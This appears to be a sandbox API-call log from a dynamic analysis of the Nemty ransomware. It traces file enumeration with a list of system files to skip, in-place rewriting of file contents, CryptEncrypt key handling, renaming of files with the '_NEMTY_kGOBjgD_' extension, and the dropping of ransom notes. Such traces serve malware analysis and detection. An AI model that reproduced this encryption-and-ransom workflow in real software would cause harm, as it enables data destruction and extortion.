[0184.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\SendMail.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\sendmail.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.141] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15360) returned 1 [0184.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3c00) returned 0x6352c48 [0184.141] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.141] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3c00, lpOverlapped=0x0) returned 1 [0184.144] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.144] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3c00, lpOverlapped=0x0) returned 1 [0184.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.144] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c00 [0184.144] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.144] CloseHandle (hObject=0x2e8) returned 1 [0184.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.145] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\SendMail.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\sendmail.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\SendMail.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\sendmail.slv._nemty_kgobjgd_")) returned 1 [0184.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.145] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0184.145] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0184.145] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0184.145] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0184.145] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0184.145] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0184.145] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0184.145] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0184.145] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0184.146] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0184.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0184.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0184.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0184.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0184.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0184.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.147] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.149] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.149] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0184.150] CloseHandle (hObject=0x2e8) returned 1 [0184.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0184.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0184.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0184.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0184.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0184.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.150] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.151] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.151] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0184.152] CloseHandle (hObject=0x2e8) returned 1 [0184.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0184.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0184.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.152] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21672b30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21672b30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0184.152] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0184.152] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21672b30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21672b30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.152] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0184.153] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0184.153] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9103, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0184.153] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0184.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0184.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0184.154] Sleep (dwMilliseconds=0x5) [0184.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x21698c90, dwHighDateTime=0x1d561e8)) [0184.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x21698c90, dwHighDateTime=0x1d561e8)) [0184.156] GetLastError () returned 0xb7 [0184.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.156] GetLastError () returned 0xb7 [0184.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0184.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0184.156] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0184.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0184.156] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="1/5PuKZKvPrdFCYL5tbsv5ssyAX8PzhaBH09GmiF8UOUKB8wr2HQPdGQXK88vHHG\r\nThSjN0SxX+/kZEbnerJYUYLK1BSKC9UmaedG6DgELREJd0x0k54kj3o3aN+BkpuT\r\n6VZG388KP8PPtqhf6SMwsUltYPpckXy3/K8rRsioBgTf9WQ1IducvGvZ/0C7q1FB\r\njtWAUye5cvWfZJiXW7Q25Tq48QUmYGKYdSkJ+/iKli5DcS5Gh8nC42f10N5QO4MD\r\nHB0uZBKhSP7zXrzgPELN4VXTG64CY26Q31oekh9BX5e6WkR3j0szPMFoKiWx3nt6\r\n1jjCEyUCdCIvlSSHVE2iiw==\r\n", pcchString=0x653e29c) returned 1 [0184.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0184.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.157] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0184.157] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=37123) returned 1 [0184.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9100) returned 0x6352c48 [0184.158] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.158] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9100, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x9100, lpOverlapped=0x0) returned 1 [0184.162] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.162] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x9100, lpOverlapped=0x0) returned 1 